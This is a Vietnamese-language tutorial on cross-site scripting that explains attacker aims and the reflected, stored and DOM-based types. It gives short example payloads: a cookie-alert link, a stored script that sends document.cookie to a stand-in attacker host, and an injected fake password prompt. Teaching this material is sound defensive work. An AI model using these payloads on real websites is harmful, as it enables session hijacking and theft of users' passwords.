1)Các tác nhân đe dọa :

Có thể là bất kì ai,có thể gửi các dữ liệu không tin cậy tới hệ thống….

2)Hướng tấn công : nó sẽ tính toán các khả năng có thể tấn công được

Kẻ tấn công gửi các đoạn text tấn công dựa trên nền script khai thác lỗi trên các trình duyệt,gần như tất cả các nguồn dữ liệu có thể bị tấn công theo các hướng khác nhau,bao gồm cả dữ liệu bên trọng như từ csdl,

XSS là lỗ hổng phổ biến nhất của ứng dụng web,nó xuất hiện khi có ai đó sử dụng dữ liệu được gửi từ page qua ứng dụng web mà k được xác thực. Nó có 3 kiểu lỗ hổng được biết đến : lưu trữ,phản ánh,hay DOM dựa trên nền XSS

Sự phát hiện đa số các lỗ hổng XSS khá dễ dàng thông qua việc kiểm thử hay phân tích code.

Sau đó là chạy câu scipt trong ứng dụng duyệt web của người dùng.

3)Mục đích của tấn công XSS

Phụ thuộc vào mục đích của hacker những đoạn Javascript được chèn vào để lấy những thông tin sau:

-cookie : hacker có thể lấy được cookie của người dùng và dùng thông tin trong cookie để giả mạo phiên truy cập.

-keylogging : hacker có thể ghi lại những thao tác gõ phím của người dùng bắng cách sử dụng sự kiện addEventListenner trong javascript sau đó gửi lại cho chúng để tìm hiểu về mật khẩu hay mã số thẻ tín dụng.

-phishing: hacker có thể thay đổi giao diện website bằng cách thay đổi cấu trúc HTML trong trang web để đánh lừa người dùng,khi đó chúng có thể tạo các forrm đăng nhập giả để lấy mật khẩu.

4)Các kiểu tấn công XSS

Có 3 kiểu tấn công XSS

Kiểu thứ 1: refected XSS là dạng tấn công thường gặp nhất:hacker không gửi dữ lieeujj đọc hại lên server nạn nhân, mà gửi trực tiếp link chứa mã độc cho người dùng, khi người dùng clink vào link sẽ load chung với các đoạn mã độc,nó dùng để ăn ccaps cookie chiếm session, của nạn nhân.

Ví dụ:

Hacker sẽ gửi cho nạn nhân một đường link có chứa mã độc hại đi kèm:

|  |  |
| --- | --- |
|  | http://victim.com/index.php?id=<script>alert(document.cookie)</script> |
|  |  |

Khi nạn nhân kích vào đường link thì trình duyệt sẽ load trang web và ăn cắp thông tin nạn nhân.

Kiểu thứ 2:Stored XSS

Trước tiên hacker sẽ khai thác lỗi stored XSS trên website bằng cách tìm các form,khung comment,search,đăng kí có thể có lỗi XSS để tiến hành chèn mã độc vào DB. Tiếp đó ngwofi dùng truy cập vào trang web có chứa dữ liệu liên quan đến cơ sở dữ liệu thì các đoạn script độc hại sẽ chạy chung với web. Sau đó nó sẽ gửi cookie hay session token đến hacker.

Ví dụ như : trang web của hacker : *'http://www.xss.com/*

*<script>location.href='http://www.xss.com/cc.php?cookie='+document.cookie;</scrip>*

Thì khi đó chúng ta chèn mã độc này vào comment chẳng hạn,nó sẽ lưu đoạn script độc hại này vào database,khi đó người dùng truy cập vào trang web này thì mã độc được thực thi tự động chạy file cc.php để lưu cookie của người dùng vào file logs.txt trên trang của hacker.

Kiểu thứ 3: Dom-based XSS

Nó là một kiểu thay đổi giao diện web để đánh lừa lấy thông tin người dùng,ví dụ:

Trang đăng nhập chỉ nhập tên và sau đó hiện câu chào thì chúng ta thay vì nhập tên:

<script>document.getElementById('hello').innerHTML="<label>Vui lòng xác nhận lại mật khẩu để tiếp tục: </label><input type='password'/><button onclick='show()'>Submit</button>";function show(){alert('HACKED');}</script>

Thì nó sẽ hiển a một trang nền trang cũ nhưng lại là trang để lấy mật khẩu của người dùng.